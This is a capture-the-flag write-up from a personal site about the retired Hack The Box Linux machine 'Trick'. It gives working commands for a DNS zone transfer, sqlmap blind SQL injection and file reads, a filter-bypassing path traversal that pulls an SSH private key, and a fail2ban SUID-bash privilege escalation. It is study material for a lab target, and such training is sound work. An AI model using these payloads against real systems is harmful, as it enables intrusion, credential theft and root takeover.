Peter Rakolcza Get in touch
← back to archive
// technical_debrief Easy

Trick

Trick is an easy-difficulty Linux box themed around a healthcare/payroll web stack fronted by NGINX, with an exposed BIND DNS server.

platform
Hack The Box
target_os
Linux (Debian 10 "Buster")
difficulty
Easy
season
Retired
logged
June 18, 2026
exploit_vectors → DNS enumerationSQL injectionConfig disclosure → second vhostLocal File Inclusion

Summary of Exploitation

Trick is an easy-difficulty Linux box themed around a healthcare/payroll web stack fronted by NGINX, with an exposed BIND DNS server. The chain moves from DNS reconnaissance, through a chained web-app compromise (SQL injection → LFI), to an SSH foothold, and finishes with a fail2ban-based privilege escalation:

  1. DNS enumeration — the authoritative BIND server answers a reverse lookup with the root domain trick.htb, and an AXFR zone transfer / subdomain brute-force reveals the preprod-payroll.trick.htb virtual host.
  2. SQL injection — preprod-payroll’s view_employee.php?id= parameter is injectable (boolean-based blind). The DB user remo holds the FILE privilege, allowing arbitrary file reads.
  3. Config disclosure → second vhost — reading the NGINX site config via SQLi --file-read exposes a second virtual host, preprod-marketing.trick.htb.
  4. Local File Inclusion — preprod-marketing’s page= parameter is vulnerable to a path-traversal LFI, used to read michael’s SSH private key.
  5. SSH foothold — the recovered key logs in as michael, yielding the user flag.
  6. fail2ban privilege escalation — michael belongs to the security group (group-write over /etc/fail2ban/action.d/) and can sudo a fail2ban restart. Replacing the ban action with a SUID-bash payload and triggering a ban executes code as root.

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Version
22 open ssh OpenSSH 7.9p1 Debian (protocol 2.0)
25 open smtp Postfix smtpd
53 open domain ISC BIND 9.11.5 (Debian)
80 open http nginx 1.14.2

Key takeaways from recon:

  • Port 53 (DNS) is open on a server that is normally a leaf host — an exposed authoritative BIND instance is the first thing to probe.
  • Port 80 serves a default site under nginx 1.14.2; vhost discovery is likely needed to reach the interesting content.
  • The combination of DNS + nginx strongly suggests virtual-host routing, where additional server_name entries point to separate applications.

DNS Enumeration

The default system resolver knows nothing about .htb, so queries must be aimed directly at the box, which is authoritative for the zone.

A reverse lookup against the target itself resolved the root domain:

dig -x <target-ip> @<target-ip>
;; ANSWER SECTION:
<reversed-target-ip>.in-addr.arpa. 604800 IN  PTR     trick.htb.
;; AUTHORITY SECTION:
227.129.10.in-addr.arpa. 604800 IN      NS      trick.htb.

The aa (authoritative answer) flag confirmed the box is the authoritative nameserver for trick.htb. Because the server answers direct queries, a zone transfer was attempted:

dig AXFR trick.htb @<target-ip>

The transfer succeeded and disclosed the first virtual host:

trick.htb.                604800 IN  A    127.0.0.1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.

Fallback: if AXFR is refused, the same vhost is reachable via subdomain brute-forcing, pointing the resolver at the box:

gobuster dns --domain trick.htb \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --resolver <target-ip>

The discovered host was added to /etc/hosts:

echo "<target-ip>  trick.htb preprod-payroll.trick.htb" | sudo tee -a /etc/hosts

Web Enumeration

Browsing http://preprod-payroll.trick.htb/ presented a Nicop Healthcare / payroll management login portal (a customised version of an open-source PHP payroll system). Login could be bypassed with a basic SQL-injection auth bypass, but the more productive injection point was an unauthenticated GET parameter:

http://preprod-payroll.trick.htb/view_employee.php?id=1

Exploitation Phase

Step 1 — SQL Injection on view_employee.php

The id parameter was confirmed as a boolean-based blind injection point with sqlmap:

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=1" -p id --batch
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (7217=7217) THEN 1 ELSE (SELECT 4799 UNION SELECT 8201) END))
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

Dumping the application database surfaced an admin credential (not strictly required for the chain, but useful context):

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=1" -p id \
  --technique=B -D payroll_db -T users --dump
Database: payroll_db
Table: users
+----+---------------+-----------------------+------------+
| id | name          | password              | username   |
+----+---------------+-----------------------+------------+
| 1  | Administrator | SuperGucciRainbowCake | Enemigosss |
+----+---------------+-----------------------+------------+

Step 2 — FILE privilege → arbitrary file read

Enumerating the DB user’s privileges revealed the key capability:

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=1" -p id \
  --technique=B --privileges
database management system users privileges:
[*] %remo% [1]:
    privilege: FILE

The FILE privilege allows LOAD_FILE() reads of any file readable by the MySQL process. This is the pivot: rather than chasing RCE through the DB, it is used to read the NGINX configuration and discover the next vhost.

Performance notes (boolean-blind): retrieval is slow and 500-error prone. --threads 10 parallelises requests and --hex preserves whitespace/binary in config files that would otherwise come back mangled.

Step 3 — Reading NGINX config → second virtual host

sqlmap -u "http://preprod-payroll.trick.htb/view_employee.php?id=1" -p id \
  --technique=B --hex --threads 10 \
  --file-read=/etc/nginx/sites-enabled/default

The retrieved config contained a second server block:

server {
    ...
    server_name preprod-marketing.trick.htb;
    root /var/www/market;
    ...
}

Another virtual host name that NGINX is configured for: preprod-marketing.trick.htb.

It was added to /etc/hosts alongside the first:

echo "<target-ip>  preprod-marketing.trick.htb" | sudo tee -a /etc/hosts

Step 4 — Local File Inclusion on preprod-marketing

The marketing site loaded pages through a page parameter:

http://preprod-marketing.trick.htb/index.php?page=home.html

Naive traversal (../../../../etc/passwd) was filtered, but the filter only stripped a single ../ sequence non-recursively. A doubled/nested traversal (....//) bypassed it:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd

The /etc/passwd read confirmed the LFI and revealed the user michael. Their SSH private key was then read directly:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa

The key was saved locally and permissions tightened:

chmod 600 id_rsa

Step 5 — SSH foothold as michael

ssh -i id_rsa michael@<target-ip>

User flag:

michael@trick:~$ cat user.txt

Privilege Escalation — fail2ban

michael’s sudo rights and group membership were enumerated:

michael@trick:~$ sudo -l
User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

Two facts combine into a root path:

  • michael can restart fail2ban as root without a password.
  • michael is in the security group, which has group-write over the fail2ban action directory:
michael@trick:~$ ls -la /etc/fail2ban/action.d/
drwxrwx--- 2 root security  4096 ... .

The mechanism

fail2ban runs a shell command (actionban) as root whenever it bans an IP. The individual .conf files are root:root (not directly writable), but the directory itself is group-writable — so a file can be deleted and replaced even though it cannot be edited in place. Replacing the default SSH ban action (iptables-multiport.conf) with a SUID-bash payload, restarting the service, then triggering a ban executes the payload as root.

A note on the config-reset race

The box runs a cleanup job that periodically restores /etc/fail2ban/ to a pristine state (observable as the action .conf timestamps repeatedly resetting). A plain edit is reverted before it can be used. The reliable approach is to win the race with a tight loop, then restart immediately so fail2ban loads the malicious action into memory — where it persists until the next restart even if the on-disk file reverts a moment later.

while true; do
  rm -f /etc/fail2ban/action.d/iptables-multiport.conf 2>/dev/null && \
  printf '[INCLUDES]\nbefore = iptables-common.conf\n[Definition]\nactionstart =\nactionstop =\nactioncheck =\nactionban = cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\nactionunban =\n' \
    > /etc/fail2ban/action.d/iptables-multiport.conf 2>/dev/null && \
  grep -q rootbash /etc/fail2ban/action.d/iptables-multiport.conf && echo "WON RACE" && break
  sleep 0.5
done
sudo /etc/init.d/fail2ban restart

Permissions gotcha: the payload must use chmod 4755 (SUID + rwxr-xr-x), not chmod +s. A bare chmod +s produces -rws--S---, which leaves no execute bit for “other” — michael then gets Permission denied trying to run it. 4755 yields -rwsr-xr-x, executable by everyone with the SUID bit intact.

Triggering the ban

The default sshd jail bans after maxretry (5) failed logins inside a short findtime (10s) window. A tight parallel burst of failed SSH auth from the attacker box crosses the threshold:

for i in $(seq 1 12); do
  sshpass -p x ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password \
    -o ConnectTimeout=3 baduser@trick.htb 2>/dev/null &
done
wait
sleep 10

When the ban fires, actionban runs as root and drops the SUID shell:

michael@trick:~$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1168776 ... /tmp/rootbash
michael@trick:~$ /tmp/rootbash -p
rootbash-5.0#

Root Flag Successfully Obtained

rootbash-5.0# cat /root/root.txt

Key Takeaways

  • An exposed DNS server is recon gold. A reverse lookup against the authoritative box handed over the root domain, and AXFR (or subdomain brute-forcing as a fallback) revealed the first vhost — neither is visible from the default site alone.
  • FILE privilege turns SQLi into file disclosure. Without DBA rights or a writable web root, the injection still yielded arbitrary reads — and reading the web server config is what bridged to the second application.
  • Chain web bugs deliberately. SQLi was not the endpoint; it disclosed preprod-marketing, whose LFI disclosed an SSH key. Each bug fed the next.
  • Filter bypasses matter. The LFI’s single-pass ../ stripping fell to a nested ....// payload — non-recursive sanitisation is a recurring weakness.
  • Group-write on a directory ≠ write on its files, but it’s enough. Owning the directory entry let a root-owned action file be deleted and replaced, which is the whole privesc.
  • Read permission strings carefully. chmod +s vs chmod 4755 was the difference between a working SUID shell and Permission denied.
  • Watch for self-healing configs. A cleanup job reverted the fail2ban edit; winning the race and restarting (loading the action into memory) defeated it.

Full Attack Chain

DNS recon (dig -x / AXFR)
   └─ trick.htb  ──>  preprod-payroll.trick.htb
        └─ SQLi (view_employee.php?id=)  +  FILE privilege (remo)
             └─ --file-read nginx config  ──>  preprod-marketing.trick.htb
                  └─ LFI (page=....//)  ──>  michael's id_rsa
                       └─ SSH as michael   [USER]
                            └─ sudo fail2ban restart  +  security group write
                                 └─ malicious actionban (SUID bash)  ──>  root   [ROOT]